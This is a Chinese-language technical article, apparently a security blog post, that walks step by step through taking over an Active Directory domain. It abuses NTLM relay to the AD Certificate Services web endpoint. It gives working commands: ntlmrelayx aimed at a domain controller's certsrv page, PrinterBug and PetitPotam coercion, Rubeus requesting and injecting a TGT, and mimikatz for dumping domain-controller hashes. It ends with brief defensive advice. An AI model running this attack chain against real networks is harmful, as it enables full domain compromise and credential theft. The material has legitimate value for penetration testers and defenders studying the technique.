攻击AD证书服务获取域控权限
字数 1167 2025-08-09 16:00:17
攻击AD证书服务获取域控权限技术分析
技术背景
Active Directory证书服务(AD CS)是Windows Server中提供公钥基础设施(PKI)功能的角色服务。当AD安装证书服务后,会暴露一个HTTP端点/certsrv/certfnsh.asp,该端点容易受到NTLM中继(NTLM Relay)攻击。
攻击原理
攻击者可以利用以下技术链完成域控权限获取:
- 通过打印机漏洞(MS-RPRN)或PetitPotam(MS-EFSRPC)强制目标服务器向攻击者机器进行身份验证
- 将获得的NTLM认证中继到AD CS的HTTP端点
- 获取域控制器计算机账户的证书
- 使用该证书请求Kerberos票证(TGT)
- 最终获取域控权限
环境准备
- 攻击机器: 192.168.8.164
- AD域控(SRV-DC): 192.168.8.144
- AD辅域(SRV-DC2): 192.168.8.155
详细攻击步骤
1. 更新Impacket工具
确保使用最新版Impacket,特别是包含AD CS中继攻击支持的版本:
https://github.com/SecureAuthCorp/impacket/pull/1101
2. 启动NTLM中继监听
在攻击机器上执行:
ntlmrelayx.py -t http://192.168.8.144/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
关键参数说明:
-t: 目标URL,指向域控的证书服务端点--adcs: 启用AD CS攻击模式--template: 指定证书模板,必须与目标账户类型匹配(此处为域控制器)
3. 触发NTLM认证
方法一:使用打印机漏洞(PrinterBug)
python printerbug.py domain.org/user:password@192.168.8.155 192.168.8.164
方法二:使用PetitPotam(EFSRPC协议)
python Petitpotam.py -u user -p password -d domain.org 192.168.8.164 192.168.8.155
4. 获取证书并请求TGT
当中继成功后,ntlmrelayx将返回一个base64编码的证书。使用Rubeus工具请求TGT:
Rubeus.exe asktgt /user:SRV-DC2$ /certificate:certificatebase64body /ptt
参数说明:
/user: 目标计算机账户(注意以$结尾)/certificate: 上一步获取的证书/ptt: 将获得的TGT直接注入当前会话
5. 获取域控权限
成功注入TGT后,可以使用mimikatz等工具dump域控的hash或执行其他操作。
关键注意事项
-
证书模板选择:
- 必须选择与目标账户类型匹配的模板
- 域控制器账户应使用'Domain Controller'模板
-
中继限制:
- 不能将认证中继回同一台机器(不能自中继)
- 子域账户通常没有权限被中继到父域
-
替代攻击手法:
- 非约束委派攻击
- 基于资源的约束委派攻击(CVE-2019-1040)
防御建议
- 禁用不必要的HTTP证书服务端点
- 启用SMB签名防止中继攻击
- 限制证书模板的权限
- 安装最新的安全补丁
- 监控异常证书请求活动
总结
该攻击链利用AD CS服务的NTLM认证弱点,结合强制认证漏洞,最终获取域控制器权限。攻击成功的关键在于正确配置中继目标和选择合适的证书模板。防御方应重点关注强制认证漏洞的修补和证书服务的安全配置。